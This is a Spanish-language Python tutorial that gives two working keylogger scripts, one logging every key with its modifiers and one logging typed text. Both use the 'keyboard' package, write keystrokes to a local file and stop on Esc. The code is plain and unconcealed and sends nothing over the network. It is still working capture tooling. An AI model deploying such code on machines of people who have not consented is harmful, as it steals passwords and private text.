Keylogger para Windows y Linux



Descarga: keylogger.zip.

Generalmente las aplicaciones de este tipo que rondan por la web utilizan una librería llamada pyHook, una envoltura alrededor de la API de Windows, y por ende disponible únicamente para el sistema operativo de Microsoft. Además, pyHook recibió su última actualización en 2010 y no soporta Python 3.

Como alternativa, el registrador de teclas de Recursos Python hace uso de un paquete llamado keyboard, disponible para Python 2 y 3 y sistemas operativos Windows y Linux. Puedes instalarlo con el siguiente comando:

sudo pip install keyboard

La sección de descargas en PyPI incluye el código de fuente e instaladores para Windows.

Ambos códigos a continuación escriben las teclas presionadas a un archivo de texto.

Nota: para evitar la incompatibilidad del código con futuras versiones de keyboard, puedes descargar la versión 0.9.10, utilizada en este artículo, desde este enlace.

Keylogger (registrador de teclas)

Registra todas las teclas incluyendo los modificadores (Ctrl, Alt, etc.), indicando si estos últimos están siendo presionados.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#   Copyright 2013-2017 Recursos Python
#   www.recursospython.com
#

from functools import partial
import atexit
import os

import keyboard

MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"


def callback(output, is_down, event):
    if event.event_type in ("up", "down"):
        key = MAP.get(event.name, event.name)
        modifier = len(key) > 1
        # Capturar únicamente los modificadores cuando están siendo
        # presionados.
        if not modifier and event.event_type == "down":
            return
        # Evitar escribir múltiples veces la misma tecla si está
        # siendo presionada.
        if modifier:
            if event.event_type == "down":
                if is_down.get(key, False):
                    return
                else:
                    is_down[key] = True
            elif event.event_type == "up":
                is_down[key] = False
            # Indicar si está siendo presionado.
            key = " [{} ({})] ".format(key, event.event_type)
        elif key == "\r":
            # Salto de línea.
            key = "\n"
        # Escribir la tecla al archivo de salida.
        output.write(key)
        # Forzar escritura.
        output.flush()


def onexit(output):
    output.close()


def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
    
    # Indica si una tecla está siendo presionada.
    is_down = {}
    
    # Archivo de salida.
    output = open(FILE_NAME, "a")
    
    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)
    
    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)


if __name__ == "__main__":
    main()

Ejemplo de archivo de salida:

[mayusculas derecha (down)] r [mayusculas derecha (up)] ecursos [mayusculas derecha (down)] p [mayusculas derecha (up)] ython
www.recursospython.com
foro.recursospython.com

Los modificadores se indican entre corchetes, y la tecla Enter se traduce en saltos de línea en el archivo.

Textlogger (registrador de textos)

Este código es más conciso que el anterior ya que utiliza las capacidades que provee keyboard para detectar textos escritos. Por ejemplo, el paquete detecta la presión de la tecla Shift y convierte las letras a mayúsculas. Sin embargo, la presión de los modificadores no es indicada en el archivo de salida.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#   Copyright 2013-2017 Recursos Python
#   www.recursospython.com
#

import os
import keyboard


# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"


def main():
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
    
    output = open(FILE_NAME, "a")
    
    for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)):
        output.write(string + "\n")
    
    output.close()


if __name__ == "__main__":
    main()



Deja un comentario